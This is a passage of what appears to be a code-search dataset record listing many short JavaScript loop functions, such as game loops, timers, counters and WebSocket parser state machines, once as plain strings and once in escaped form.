valor de la cotización sera de: \" + total);\n }\n\n}","onClickRun() {\n\t\tlet tmp = true;\n\t\twhile (tmp == true) {\n\t\t\ttmp = this.cycle();\n\t\t}\n\t}","function imprimir() {\n for (var i = 0; i<8000; i++){\n console.log(\"Imprimio\");\n }\n}","function doWhileLoop(array) {\n \tvar i = 0; // sets variable i equal to zero as a start ?\n\n// function that adds '1' to the 'i' variable each time it's ran\nfunction incrementVariable() {\n \t\ti = i + 1;\n \t}\n\n\tdo { // will run following body AT LEAST once.\n\n\t\t// console.log('array.length = ' + array.length + ' and i = ' + i); // WHAT THE HECK DOES THIS MEAN\n // console.log(\"DID THIS WORK?!\"); // update: I actually don't even need the console.log part\n\t\tarray = array.slice(1); // removes the first element in an array\n\t\tincrementVariable(); // function that adds '1' to the 'i' variable each time it's ran (function set above)\n\t} while (array.length > 0 && i < 5); // while the length of the array is greater than zero AND less than 5\n\n\treturn array;\n}","function start() {\n isGameActive = true;\n\n var l = 0;\n do {\n setTimeout(function () {\n calculateNextGeneration();\n }, 1000 * l);\n l++;\n console.log(l);\n }\n while (l < 1000);\n\n}","startLoop () {\n this.loop = true;\n\n while (this.loop) {\n switch (this.state) {\n case GET_INFO:\n this.getInfo();\n break;\n case GET_PAYLOAD_LENGTH_16:\n this.getPayloadLength16();\n break;\n case GET_PAYLOAD_LENGTH_64:\n this.getPayloadLength64();\n break;\n case GET_MASK:\n this.getMask();\n break;\n case GET_DATA:\n this.getData();\n break;\n default: // `INFLATING`\n this.loop = false;\n }\n }\n }","function controlLoop(){\r\n refreshData();\r\n setInterval(refreshData,10000);\r\n}","function stopLoop()\n{\n\twindow.clearInterval(loop);\t\n}","function stop(){\n noLoop();\n}","function intervalFunction(){\n\t//If loopFlag == 1 then last execution actually executed something. If is 0 then last execution didn't execute anything, stop the program.\n\t//stopPressed and error are check flags for the stop button or internal errors\n\tif(loopFlag == 1 && stopPressed == 0 && expControl.error == 0){\n loop();\n\t\tif(loopFlag == 1 && stopPressed == 0 && expControl.error == 0){\n\t\t\tsetTimeout(intervalFunction,speed);\n\t\t\treturn;\n\t\t}\n\t}\n\tstop();\n}","function pauseLoopArticles() {\n if (onAutoLooping) {\n clearInterval(loop_interval);\n isLooping = false;\n }\n }","function loopData() {\n\n}","function loop() {\n inquirer\n .prompt([\n {\n type: \"confirm\",\n message: \"Would you like to add another employee?\",\n name: \"loop\",\n },\n ])\n .then((res) => {\n if (res.loop) {\n init();\n } else {\n printHTML();\n return;\n }\n });\n}","async function Stopper() {\r\n while (true){\r\n await sleep(1000);\r\n if(MS ===5 && S ===9) {\r\n M = increment(M, 1000);\r\n S = 0;\r\n MS = 0;\r\n } else if(S === 9){\r\n S = 0;\r\n MS = increment(MS,5);\r\n } else {\r\n S = increment(S,9);\r\n }\r\n $(\"#Time\").text(\"Time: \"+M+\":\"+MS+\"\"+S) ;\r\n }\r\n\r\n}","function SLOOP(state) {\n state.loop = state.stack.pop();\n\n if (exports.DEBUG) {\n console.log(state.step, 'SLOOP[]', state.loop);\n }\n }","function loop(){\n Jobs.getAndDraw();\n setTimeout(function(){loop()}, 30000)\n }","startLoop () {\n\t this._loop = true;\n\n\t while (this._loop) {\n\t switch (this._state) {\n\t case GET_INFO:\n\t this.getInfo();\n\t break;\n\t case GET_PAYLOAD_LENGTH_16:\n\t this.getPayloadLength16();\n\t break;\n\t case GET_PAYLOAD_LENGTH_64:\n\t this.getPayloadLength64();\n\t break;\n\t case GET_MASK:\n\t this.getMask();\n\t break;\n\t case GET_DATA:\n\t this.getData();\n\t break;\n\t default: // `INFLATING`\n\t this._loop = false;\n\t }\n\t }\n\t }","function myLoop () { // create a loop function\n setTimeout(function () { // call a 3s setTimeout when the loop is called\n console.log('hello'); // your code here\n i++; // increment the counter\n if (i < 10) { // if the counter < 10, call the loop function\n myLoop(); // .. again which will trigger another \n } // .. setTimeout()\n }, 1000)\n}","_stopLoop() { this._isRunning = false; }","function loop_over() {\n\t\n\t\tif(finished) { // konec\n\t\t\tcount_result();\n\t\t\treturn;\n\t\t}\n\t\t\t\n\t\t$('#arrow').css({\"display\":\"none\"});\n\t\tdir = range(37,40); // vygeneruj smer sipky\n\t\t\n\t\tif(dir == 38)\n\t\t\t$('#arrow').text(\"↑\");\n\t\telse if(dir == 37)\n\t\t\t$('#arrow').text(\"←\");\n\t\telse if(dir == 40)\n\t\t\t$('#arrow').text(\"↓\");\n\t\telse\n\t\t\t$('#arrow').text(\"→\");\n\n\t\tsetTimeout(function() {\n\t\t\t$('#arrow').css({\"display\":\"block\"});\n\t\t\tloop();\n\t\t},0);\n\t}","function printWithWhile(){\n\tvar printwhile = 2000;\n\n\twhile(printwhile <= 5280){\n\t\tconsole.log(printwhile);\n\t\tprintwhile++;\n\t}\n\n}","function TaskLoop() {\n\t\n}","function mainLoop()\n {\n\t\tmainLoopCounter++;\n if (Graph.instance.nodes.get(state.sourceId).b == 0) {\n state.current_step = STEP_FINISHED; //so that we display finished, not mainloop when done\n that.stopFastForward();\n \n logger.log(\"Finished with a min cost of \"+ minCost);\n\n }\n else\n {\n logger.log(\"Not finished, starting search for augmentation cycle \");\n state.show_residual_graph = true;\n state.current_step = STEP_FINDSHORTESTPATH; \n\t\t\n }\n }","function mainLoop () {\n // Hard coded insturction count that each loop runs.\n let insCount = 5\n c8.DELAY = Math.max(0, c8.DELAY - 1)\n while (insCount > 0) {\n const { MEM, PC } = c8\n // Move instruction offset.\n const ins = getIns(MEM[PC] << 8 | MEM[PC + 1])\n try {\n // Perform operation according to instruction.\n ops[ins[0]](ins, c8, view)\n } catch (err) { warning(err, ins, c8) }\n insCount--\n }\n window.requestAnimationFrame(mainLoop)\n }","function mainLoop() {\n // check if the user is drawing and emit xy coords to be pushed into line history on the back end\n if (mouse.click && mouse.move && mouse.pos_prev) {\n // send line to to the server\n client.emit('draw_line', { line: [mouse.pos, mouse.pos_prev] });\n mouse.move = false;\n }\n if (erase) { //user1 erases -> server gets message -> updates client state for all users\n client.emit('erase_board', { message: 'Client to server: User x erased the board' });\n erase = false;\n }\n //if not drawing, assign values to pos_prev to begin the drawing process\n mouse.pos_prev = { x: mouse.pos.x, y: mouse.pos.y };\n setTimeout(mainLoop, 25); //recursive loop every 25ms\n }","loop() {\n\t\tif( game.paused ) {\n\t\t\tdisplay.clearScreen();\n\t\t\tgame.draw();\n\t\t\treturn;\n\t\t}\n\n\t\tif( !game.nc || ( game.nc && display.frame % 3 === 0 ) ) {\n\t\t\tgame.update();\n\t\t\tdisplay.clearScreen();\n\t\t\tgame.draw();\n\t\t\treturn;\n\t\t}\n\t}","loop() {\r\n\t\t\tthis.looping = true;\r\n\t\t\tthis.playing = true;\r\n\t\t}","function alive()\n{\n\tconsole.log(\"Loop\");\n\tswitch(state)\n\t{\n\t\tcase 0:\n\t\t\tconsole.log(\"Stopped\");\n\t\t\t//stop();\n\t\tbreak;\n\t\t\n\t\tcase 1:\n\t\t\tif (busy == 0)\n\t\t\t{\n\t\t\t\tconsole.log(\"Swimming\");\n\t\t\t\tswim();\n\t\t\t}\n\t\tbreak;\n\t\t\n\t\tcase 2:\n\t\t\t//NOT Implemented\n\t\t\tfollow();\n\t\tbreak;\n\t\t\n\t\tcase 3:\n\t\t\t//NOT Implemented\n\t\t\tavoid();\n\t\tbreak;\n\t\t\n\t\tcase 4:\n\t\t\t//NOT Implemented\n\t\t\tfeed();\n\t\tbreak;\n\t\t\n\t\tcase 5:\n\t\t\t//DoNothingCozManual!!!!\n\t\tbreak;\n\t\t\n\t\tdefault:\n\t\t\tstate = 1;\n\t}\n}","function mainLoop() {\n\n\t\tvar timeChecker = setInterval(function() {\n\n\t\t\tstate.videoPlayer.update();\n\t\t\t// Forced update of time. Required for Safari.\n\t\t\ttime = state.videoPlayer.currentTime;\n\n\t\t\t// console.log('time:', time);\n\t\t\t_.each(popUpProblemTimer, function(obj) {\n\t\t\t\tif (time >= obj.start && time < obj.end) {\n\t\t\t\t\t// console.log(obj);\n\t\t\t\t\tvideoActions.actionFunction(time, obj);\n\t\t\t\t} else {\n\t\t\t\t\tvideoActions.actionFunction(time, null);\n\t\t\t\t}\n\t\t\t})\n\t\t}, 500);\n\n\t}","function loopArticles() {\n if (onAutoLooping) {\n loop_interval = setInterval(nextArticle, settings.interval);\n isLooping = true;\n }\n }","function startLoop() {\r\n document.getElementById('tagtitle').innerHTML=title[currentTitle];\r\n x= description[currentTitle];\r\n // alert(x);\r\n if(myInterval > 0) clearInterval(myInterval); // stop\r\n myInterval = setInterval( \"changeContent()\", iFrequency ); // run\r\n }","function ciblerMonstre(){\n choisie=false;\n while (choisie=false){\n butGob.onclick= function(){\n cibleMonstre=\"Gobelin\";\n vieMonCible=vieGob;\n choisie=true;\n }\n butDef.onclick= function(){\n cibleMonstre=\"Dragon\";\n vieMonCible=vieDra;\n choisie=true;\n }\n butSpe.onclick= function(){\n cibleMonstre=\"Fantôme\";\n vieMonCible=vieFan;\n choisie=true;\n }\n }\n}","function myLoop() { // create a loop function\n setTimeout(function () { // call a 3s setTimeout when the loop is called\n console.log(globulCounter); // your code here\n\n if (globulCounter < stockArrayBy80.length) { // if the counter < 10, call the loop function\n getStockAllPriceGoogle(stockArrayBy80[globulCounter]);\n myLoop(); // .. again which will trigger another\n } // .. setTimeout()\n globulCounter++; // increment the counter\n }, 3000)\n}","function loopMain() {\n if(!lock && !animation1 && !animation2){\n lock = true;\n $.get(\"phps/refreshlugares.php\",function(responseText,status){\n try{\n if(status==\"success\"){\n res = JSON.parse(responseText);\n res.forEach(function (lugar) {\n switch (lugar.idLugares) {\n case \"1\":\n if(ocupado1!=parseInt(lugar.ocupado))\n ocupar1();\n break;\n case \"2\":\n if(ocupado2!=parseInt(lugar.ocupado))\n ocupar2();\n break;\n }\n });\n }else{\n alert(status);\n }\n }catch(e){\n alert(e);\n }\n lock = false;\n });\n }\n}","function veggieWhileLooper( veggies ) {\r\n\r\n var i = 0;\r\n\r\n while ( i < veggies.length ) {\r\n\r\n console.log( myVeggies[i] );\r\n i++;\r\n }\r\n}","function countdown(num){\r\n\r\n while(num > 1)\r\n{\r\n console.log(num);\r\n num = num - 4;\r\n}\r\n\r\n}","function Steady() {\n// var i;\n// for (i = 0; i<4; i++) {} => Boucle servant dans le cas où l'on veut ajouter 4 cartes de suite pour la banque\n while (bank_score[0] < player_score[0]) {\n var para = document.getElementById('BC');\n var img = document.createElement('img');\n var path = randomOne(bank_score, bank_cards, \"texte1\");\n img.src = path;\n para.appendChild(img);\n }\n Score_Text_Display(bank_score,player_score);\n}","startLoop () {\n this._loop = true;\n\n do {\n switch (this._state) {\n case GET_INFO:\n this.getInfo();\n break;\n case GET_PAYLOAD_LENGTH_16:\n this.getPayloadLength16();\n break;\n case GET_PAYLOAD_LENGTH_64:\n this.getPayloadLength64();\n break;\n case GET_MASK:\n this.getMask();\n break;\n case GET_DATA:\n this.getData();\n break;\n default: // `INFLATING`\n this._loop = false;\n }\n } while (this._loop);\n }","agregarNuevo(){\n let esta = false;\n let cont = 0;\n \n while(!esta){\n cont++;\n const fil = Math.floor(Math.random() * this.size);\n const col = Math.floor(Math.random() * this.size);\n\n if(this.getCelda(fil,col)==null){\n esta = true;\n const val = Math.floor(Math.random() * 6)+1;\n if(val>=0 && val<5)\n this.setCeldaEfecto(2,fil,col); // 3 chances de 4 de que toque 2\n else\n this.setCeldaEfecto(4,fil,col); // 3 chances de 4 de que toque 4\n }\n\n //conta\n if(cont==1000) esta = true;\n\n }\n\n }","function meshLoop(self)\n{\n debug(\"MESHA\")\n meshReap(self);\n meshSeen(self);\n meshElect(self);\n meshPing(self);\n debug(\"MESHZ\")\n setTimeout(function(){meshLoop(self)}, 25*1000);\n}","startLoop () {\n this._loop = true;\n\n while (this._loop) {\n switch (this._state) {\n case GET_INFO:\n this.getInfo();\n break;\n case GET_PAYLOAD_LENGTH_16:\n this.getPayloadLength16();\n break;\n case GET_PAYLOAD_LENGTH_64:\n this.getPayloadLength64();\n break;\n case GET_MASK:\n this.getMask();\n break;\n case GET_DATA:\n this.getData();\n break;\n default: // `INFLATING`\n this._loop = false;\n }\n }\n }","function executeAll() {\r\n //wykonaj wszystkie kroki do konca\r\n while (!finished) processStep();\r\n prepareScreen5();\r\n}","function game_loop()\n{\n\t// If frog made it across safely\n\tif(frog.lane == 0 && is_safe_cross()) {\t\n\t\tcrossed_safely();\n\t}\n\t\n\t// If frog is dead\n\tif(is_collision() || is_in_water() || is_out_of_bounds() || is_out_of_time() || !is_safe_cross() ) {\n\t\tlives--;\n\t\treset_frog();\n\t} \n\n\t// If player has zero frogs left (aka game over)\n\tif(lives == 0) {\n\t\tgame_over();\n\t}\n}","async function imagerollFunction() {\n while (counter < imageArray.length && roll) {\n image.src = imageArray[counter][0];\n image.alt = imageArray[counter][1];\n p.innerText = imageArray[counter][1];\n counter++;\n await sleep(4000);\n }\n}","function credits_loop() {\n \t\tdo_fade();\n \t\tdraw_backDrop();\n \t\tdraw_scroller();\t\t\t\t\t\t\t\n \t\tendScreenTimer--;\t\t\t\t\t\t\t\t// Countdown the timer.\n \t\tif (endScreenTimer==0) end();\t\t\t\t\t\t\t\t// If it gets to zero, end the credits!\n \t\telse if (creditsLoopOn) requestAnimFrame( credits_loop );\t// ... otherwise if the demo is continuing, go to the next frame.\n \t}","function intGoNext(){\n goNext(0);\n }","async function mainLoop() {\n\n\tdrawBoard(currentlyDisplayedCards);\n\twhile (!gameEnded) {\n\t\tlet eventSet = await getEvent(pastEvents);\n\t\tawait handleEvent(eventSet); // handle the event that was just added\n\t}\n}"],"string":"[\n \"function loopInfinito() {\\n while (true) { }\\n}\",\n \"function loop() {\\r\\n}\",\n \"function loop() {\\r\\n // if (is_loop) {\\r\\n setTimeout(manage_loop, manager.interval);\\r\\n // is_loop = false;\\r\\n // }\\r\\n }\",\n \"function cambiarEstiloAuto() {\\n let contador = 0;\\n while(contador < 10){\\n cambiarEstilo();\\n contador++;\\n }\\n}\",\n \"loop() {}\",\n \"loop() {}\",\n \"function infinteLoop() {\\n while (true) {\\n }\\n}\",\n \"function executarLooping() {\\n moverFundo()\\n moverHelicopteroInimigo()\\n moverCaminhao()\\n moverJogador()\\n moverAliado()\\n detectarColisoes()\\n mostrarPlacar()\\n atualizarEnergia()\\n}\",\n \"function infiniteLoop() {\\n while (true) {\\n console.log('loop');\\n }\\n }\",\n \"function jogar(){\\r\\n //o jogo continuará até que alguém destrua completamente os navios do adversário\\r\\n //testa após cada jogada se o número de pontos foi atingido\\r\\n while (true){\\r\\n jogadorJoga();\\r\\n console.log(\\\"O computador tem \\\"+naviosComputador);\\r\\n if (pontosJogador == naviosComputador){\\r\\n console.log(nome+\\\" ganhou! Parabéns!\\\");\\r\\n break;\\r\\n }\\r\\n else {\\r\\n computadorJoga();\\r\\n if (pontosComputador == naviosJogador){\\r\\n console.log(\\\"Computador ganhou! Tente novamente, \\\"+nome);\\r\\n break;\\r\\n }\\r\\n };\\r\\n }\\r\\n}\",\n \"function loop() {\\n moveFundo();\\n moveJogador();\\n moveInimigo1();\\n moveInimigo2();\\n moveInimigo3();\\n moveInimigo4();\\n moveEstrela();\\n colisao();\\n placar();\\n energia();\\n }\",\n \"noLoop() {\\r\\n\\t\\t\\tthis.looping = false;\\r\\n\\t\\t}\",\n \"function startLoop(){\\n\\n // console.log('[LOOP]');\\n\\n INGAME = true;\\n\\n // cancel on late-join\\n loop.stop();\\n\\n loop.resume();\\n}\",\n \"function startLoop(){\\n\\n // console.log('[LOOP]');\\n\\n INGAME = true;\\n\\n // cancel on late-join\\n loop.stop();\\n\\n loop.resume();\\n}\",\n \"function cambio(){\\n\\n\\t// for(var i=0; i<10; i++){\\n\\t// \\tconsole.debug('hola '+i);\\n\\t// }\\n\\tvar i=0;\\n\\twhile(i<10){\\n\\t\\tconsole.debug('hola '+i);\\n\\t\\ti++;\\n\\t}\\n}\",\n \"function contadorWhile1() {\\n // Cria o contador (fora do while)\\n let contador = 1;\\n\\n // Enquanto o valor (contador) for menor que 5\\n while (contador <= 5) {\\n\\n // Mostra o valor na tela\\n document.querySelector('#contadorW1').innerHTML += contador + \\\", \\\";\\n\\n // Incrementa o contador (dentro do bloco)\\n contador++;\\n // contador = contador + 1;\\n // contador += 1;\\n }\\n}\",\n \"function whileLoop(n){\\nwhile ( 0 < n ){\\n console.log(--n);\\n}\\nif (n <= 1 ){\\nreturn 'done';\\n }\\n}\",\n \"function cicloWhile() {\\n\\n while (confirm(\\\"Desea Continuar?\\\")) {\\n alert(\\\"THis is a cycle while\\\")\\n }\\n}\",\n \"function startLoop() {\\n\\tisrunnning = true;\\n}\",\n \"function doWhileLoop(x)\\n{\\n x--;\\n do \\n {\\n console.log(\\\"I run once regardless\\\");\\n } while(x-- > 0);\\n}\",\n \"function infiniteLoop() {\\r\\n while (true) {\\r\\n }\\r\\n}\",\n \"function main(){\\r\\n\\tcur_t = 0\\r\\n\\tkill_step = poisson(kill_step);\\r\\n\\tcount_step = 0;\\r\\n\\t//do {\\r\\n\\tvar times = setInterval(function(){\\r\\n\\t\\tif (cur_t == steps) clearInterval(times);\\r\\n\\r\\n\\t\\tvar temp = couple_logistic_possison(pop, params, steps);\\r\\n\\t\\tif (count_step == kill_step){\\r\\n\\t\\t\\tcata(kill_percentage, pop);\\r\\n\\t\\t\\tkill_step = poisson(kill_step);\\r\\n\\t\\t\\tcount_step = 0;\\r\\n\\t\\t}\\r\\n\\r\\n\\t\\tshow_graphics(temp);\\r\\n\\r\\n\\t\\tcur_t += 1;\\r\\n\\t\\tcount_step += 1;\\r\\n\\t\\treturn temp;\\r\\n\\t\\t}, 35);\\r\\n\\t//} while (cur_t < steps)\\t\\r\\n}\",\n \"function mainLoop( ) {\\n\\n\\n let segundos = 5;\\n let tiempo = segundos * 1000;\\n\\n\\n console.log('Intervalo de '+ segundos );\\n console.log('Perioodo: ');\\n\\n\\n REALTIME.actualizarREALTIME( );\\n\\n setInterval((tiempo) => {\\n console.log('-------------------------------------------------------');\\n console.log('Intervalo de REALTIME '+ segundos );\\n console.log('PERIODO');\\n REALTIME.actualizarREALTIME( );\\n }, tiempo )\\n\\n}\",\n \"function loopForever() {\\n while (true) { }\\n}\",\n \"function checkLoop() {\\n if (config.loopState) {\\n loop();\\n } else {\\n noLoop();\\n }\\n }\",\n \"function infiniteLoop() {\\n while (true) {\\n }\\n}\",\n \"function infiniteLoop() {\\n while (true) {\\n }\\n}\",\n \"function infiniteLoop() {\\n while (true) {\\n }\\n}\",\n \"function infiniteLoop() {\\n while (true) {\\n }\\n}\",\n \"function contadorWhile2() {\\n // Cria o contador (fora do while)\\n let contador = 1;\\n\\n // Guarda o número informado na tela\\n const numeroInformado = document.querySelector('#numInformadoW2').value;\\n\\n // Enquanto o contador for menor que o número informado na tela\\n while (contador <= numeroInformado) {\\n // Mostra o valor na tela\\n document.querySelector('#contadorW2').innerHTML += contador + \\\", \\\";\\n\\n // Incrementa o contador (dentro do bloco)\\n contador++;\\n }\\n}\",\n \"function loopDetect() {\\n \\n}\",\n \"loop() {\\n let stop = false;\\n while (!stop) {\\n //Creates a thread for every single agent\\n Object.values(this.agents).forEach(agent => {\\n if (!this.problem.goalTest(this.data)) {\\n // aqui el agente recibe las persepciones\\n agent.receive(this.problem.perceptionForAgent(this.getData(), agent.getID()));\\n //guarda el accion\\n let action = agent.send();\\n this.actions.push({ agentID: agent.getID(), action });\\n //actuliza el problema\\n this.problem.update(this.data, action, agent.getID());\\n //mira si termino el problema\\n if (this.problem.goalTest(this.data)) {\\n stop = true;\\n } else {\\n if (this.callbacks.onTurn)\\n //es un callback que muestra la posicion en la que esta callbacks\\n this.callbacks.onTurn({ actions: this.getActions(), data: this.data });\\n }\\n }\\n });\\n }\\n this.finishAll();\\n }\",\n \"function hello(){\\n\\nlet angka = 1;\\nwhile(angka <= 5){\\nconsole.log(\\\"hai\\\" + \\\" \\\" + angka + \\\"x\\\");\\nangka++;\\n }\\n}\",\n \"function generalLoop(){\\r\\n\\r\\n\\tif ((new Date()).getTime() - timeObj < 3 ) {\\t\\t\\r\\n\\t\\treturn;\\t\\t\\r\\n\\t}//fi\\r\\n\\tif (currentState == 3) {\\r\\n\\t\\tupdateDisplay();\\r\\n\\t\\ttimeObj = (new Date()).getTime();\\r\\n\\t}//fi\\r\\n\\r\\n\\t\\r\\n\\r\\n}//end listener\\t\",\n \"function intWhile (){\\n var i = 2000;\\n while (i <= 5280){\\n console.log(i);\\n i++;\\n }\\n}\",\n \"function PrintI(){\\n var num = 2000;\\n while(num < 5281){\\n console.log(num);\\n num++;\\n }\\n}\",\n \"function loops6 () {\\n console.log('#6 Logging 1 to 1000 with a do...while loop: ');\\n var i = 1;\\n do {\\n console.log(i);\\n i++;\\n } while (i < 1001);\\n}\",\n \"function testWhileLoop() {\\n var counter = 0;\\n while (counter <= 10) {\\n console.log(counter);\\n counter++;\\n }\\n}\",\n \"function devilLoop(){\\n GMvariables.devil = setInterval(() => {\\n changePositionOfElement()\\n if(GMvariables.live<1){\\n deviElementHide();\\n clearInterval(GMvariables.devil);\\n }\\n }, GMvariables.interval);\\n // console.log(\\\"from loop = \\\" + interval);\\n}\",\n \"function get_data_loop()\\r\\n{\\r\\n if(!ansvers){\\r\\n \\tget_data();\\r\\n \\tansvers = 1;\\r\\n }\\r\\n \\tsetTimeout(\\\"get_data_loop()\\\",10000);\\r\\n}\",\n \"function infiniteLoop() {\\n while (true) { }\\n}\",\n \"function whileLoop(x)\\n{\\n while (x>0)\\n {\\n console.log(x--);\\n }\\n \\n return \\\"done\\\";\\n}\",\n \"function a2() {\\n let i = 9; // Variablen-Initialisierung. Name i, Typ number, Wert 9.\\n do { /* do-while-Schleife --> Wird auf jeden Fall einmal die Anweisungen im Rumpf ausführen,\\n bevor die Bediengung auf true überprüft wird und den Rumpf weiter ausführt und dies dann genau so lange, bis die Bediengung false wird. */\\n console.log(i); // Konsolenausgabe der lokalen Variable i.\\n i = i - 1; // Der Variablen i wird ein neuer Wert zugewiesen: Und zwar ihr eigener minus Eins.\\n } while (i > 0); // Schleifenbedingung: \\\"Solange die Variable i größer als 0 ist, dann führe die Anweisungen im Rumpf aus.\\\"\\n}\",\n \"function loop() {\\n if (!avatar.dead) {\\n //obtener propiedades de elementos\\n bcr.getBCR(playground, adventurer, ip, life);\\n //aumentar distancia e imprimirla\\n distCounter++;\\n printDist(distCounter, previousDistance, dist);\\n //salto personaje\\n avatar.jumping(joystick, adventurer);\\n //controlar que no pase del piso\\n avatar.checkFloor(bcr.plgrBCR, groundHeight, adventurer);\\n adventurer.style.top = avatar.y + \\\"px\\\";\\n //chequear colisiones\\n\\n if (avatar.collision(bcr.advtBCR, bcr.impBCR)) {\\n if (avatar.life > 0) {\\n avatar.hurt(life);\\n //console.log(avatar.life);\\n myID = requestAnimationFrame(loop);\\n } else {\\n avatar.death(adventurer);\\n ip.style.animationIterationCount = \\\"1\\\";\\n if (distCounter > previousDistance) {\\n previousDistance = distCounter;\\n }\\n front.style.background=\\\"url('../img/end.png')\\\";\\n inicio.style.display = \\\"inline\\\";\\n setTimeout(() => {\\n front.style.display=\\\"inline\\\";\\n }, 2000);\\n cancelAnimationFrame(myID);\\n }\\n } else {\\n if (bcr.impBCR.left < 145) {\\n speed *= 0.99;\\n ip.style.animation = \\\"anRB 0.8s steps(8) infinite, anR 4s steps(400) infinite\\\";\\n }\\n myID = requestAnimationFrame(loop);\\n }\\n }\\n }\",\n \"function loops4 () {\\n console.log('#5 Logging 1 to 1000 with a while loop: ');\\n var i = 1;\\n while (i < 1001) {\\n console.log(i);\\n i++;\\n }\\n}\",\n \"function loop() {\\n if( DateForCycle.getTime() < beginTime ) {\\n\\n \\n bigDay ^= true;\\n setDate(DateForCycle, function(){\\n commit(function() {\\n if(bigDay) {\\n commit(setNextDay);\\n } else {\\n setNextDay();\\n\\n }\\n })\\n });\\n } else {\\n exec('git remote add origin '+rep+' && git push -u origin master -f', function(){\\n });\\n\\n }\\n }\",\n \"function whileDemo([n]) {\\r\\n let health = 100;\\r\\n while (health > 0) { // its not depend on counter\\r\\n \\r\\n // walk\\r\\n // take damage\\r\\n // headshot\\r\\n }\\r\\n}\",\n \"_setupLoop () {\\n this._time = 0\\n this._loop()\\n }\",\n \"function startLoop() {\\n\\tconsole.log(maxi);\\n\\tconsole.log(index);\\n if(index==maxi){\\n return;\\n }\\n else{\\n //setInterval(5000);\\n setInterval( doSomething(), iFrequency ); // run\\n startLoop();\\n\\t}\\n\\n }\",\n \"function loop (n) {\\n while (n > 0) {\\n console.log(n)\\n n--\\n }\\n}\",\n \"startLoop () {\\n\\t this.loop = true;\\n\\n\\t while (this.loop) {\\n\\t switch (this.state) {\\n\\t case GET_INFO:\\n\\t this.getInfo();\\n\\t break;\\n\\t case GET_PAYLOAD_LENGTH_16:\\n\\t this.getPayloadLength16();\\n\\t break;\\n\\t case GET_PAYLOAD_LENGTH_64:\\n\\t this.getPayloadLength64();\\n\\t break;\\n\\t case GET_MASK:\\n\\t this.getMask();\\n\\t break;\\n\\t case GET_DATA:\\n\\t this.getData();\\n\\t break;\\n\\t default: // `INFLATING`\\n\\t this.loop = false;\\n\\t }\\n\\t }\\n\\t }\",\n \"function loop ( start, test, updt, body ) {\\r\\n let val = start;\\r\\n while (test(val)) {\\r\\n body (val)\\r\\n val = updt (val)\\r\\n } \\r\\n}\",\n \"function stopLoop() {\\n\\tisrunnning = false;\\n\\tconsole.log('stop loop');\\n}\",\n \"function bannerLoop()\\n\\t{\\n\\t\\tsetTimeout(showBanner, interval * 1000);\\n\\t}\",\n \"function Inicio() {\\n var bandera = true;\\n\\n while (bandera == true) {\\n var respuesta = 0;\\n\\n //Mensajes de alerta para ingresar datos\\n var nombre = prompt(\\\"Ingrese su nombre, por favor\\\");\\n var edad = IngresoEdad(\\\"usted\\\");\\n\\n if (edad >= 18) {\\n var casado = IngresoEstadoCivil();\\n var edad_conyuge = 0;\\n var numeroHijos = 0;\\n valorPropiedad = 0;\\n\\n if (\\\"SI\\\" == casado.toUpperCase()) {\\n edad_conyuge = IngresoEdad(\\\"su conyuge\\\");\\n }\\n\\n if (TieneHijos()) {\\n numeroHijos = CantidadHijos();\\n }\\n\\n var salario = ValorSalario();\\n var propiedad = IngresoPropiedad();\\n\\n debugger;\\n\\n if (\\\"SI\\\" == propiedad.toUpperCase()) {\\n var valorPropiedad = ValorPropiedad();\\n }\\n } else {\\n alert(\\\"La persona a asegurar tiene que ser mayor de edad\\\");\\n }\\n\\n datos.push(\\n new Registro(\\n nombre,\\n edad,\\n casado,\\n edad_conyuge,\\n numeroHijos,\\n salario,\\n valorPropiedad\\n )\\n );\\n\\n bandera = Continuar();\\n }\\n\\n for (let entry of datos) {\\n var recargo_total = CalculoRecargo(entry);\\n var total = precio_base + recargo_total;\\n alert(\\\"Para el asegurado \\\" + entry.nombre);\\n alert(\\\"El recargo total sera de: \\\" + recargo_total);\\n alert(\\\"El valor de la cotización sera de: \\\" + total);\\n }\\n\\n}\",\n \"onClickRun() {\\n\\t\\tlet tmp = true;\\n\\t\\twhile (tmp == true) {\\n\\t\\t\\ttmp = this.cycle();\\n\\t\\t}\\n\\t}\",\n \"function imprimir() {\\n for (var i = 0; i<8000; i++){\\n console.log(\\\"Imprimio\\\");\\n }\\n}\",\n \"function doWhileLoop(array) {\\n \\tvar i = 0; // sets variable i equal to zero as a start ?\\n\\n// function that adds '1' to the 'i' variable each time it's ran\\nfunction incrementVariable() {\\n \\t\\ti = i + 1;\\n \\t}\\n\\n\\tdo { // will run following body AT LEAST once.\\n\\n\\t\\t// console.log('array.length = ' + array.length + ' and i = ' + i); // WHAT THE HECK DOES THIS MEAN\\n // console.log(\\\"DID THIS WORK?!\\\"); // update: I actually don't even need the console.log part\\n\\t\\tarray = array.slice(1); // removes the first element in an array\\n\\t\\tincrementVariable(); // function that adds '1' to the 'i' variable each time it's ran (function set above)\\n\\t} while (array.length > 0 && i < 5); // while the length of the array is greater than zero AND less than 5\\n\\n\\treturn array;\\n}\",\n \"function start() {\\n isGameActive = true;\\n\\n var l = 0;\\n do {\\n setTimeout(function () {\\n calculateNextGeneration();\\n }, 1000 * l);\\n l++;\\n console.log(l);\\n }\\n while (l < 1000);\\n\\n}\",\n \"startLoop () {\\n this.loop = true;\\n\\n while (this.loop) {\\n switch (this.state) {\\n case GET_INFO:\\n this.getInfo();\\n break;\\n case GET_PAYLOAD_LENGTH_16:\\n this.getPayloadLength16();\\n break;\\n case GET_PAYLOAD_LENGTH_64:\\n this.getPayloadLength64();\\n break;\\n case GET_MASK:\\n this.getMask();\\n break;\\n case GET_DATA:\\n this.getData();\\n break;\\n default: // `INFLATING`\\n this.loop = false;\\n }\\n }\\n }\",\n \"function controlLoop(){\\r\\n refreshData();\\r\\n setInterval(refreshData,10000);\\r\\n}\",\n \"function stopLoop()\\n{\\n\\twindow.clearInterval(loop);\\t\\n}\",\n \"function stop(){\\n noLoop();\\n}\",\n \"function intervalFunction(){\\n\\t//If loopFlag == 1 then last execution actually executed something. If is 0 then last execution didn't execute anything, stop the program.\\n\\t//stopPressed and error are check flags for the stop button or internal errors\\n\\tif(loopFlag == 1 && stopPressed == 0 && expControl.error == 0){\\n loop();\\n\\t\\tif(loopFlag == 1 && stopPressed == 0 && expControl.error == 0){\\n\\t\\t\\tsetTimeout(intervalFunction,speed);\\n\\t\\t\\treturn;\\n\\t\\t}\\n\\t}\\n\\tstop();\\n}\",\n \"function pauseLoopArticles() {\\n if (onAutoLooping) {\\n clearInterval(loop_interval);\\n isLooping = false;\\n }\\n }\",\n \"function loopData() {\\n\\n}\",\n \"function loop() {\\n inquirer\\n .prompt([\\n {\\n type: \\\"confirm\\\",\\n message: \\\"Would you 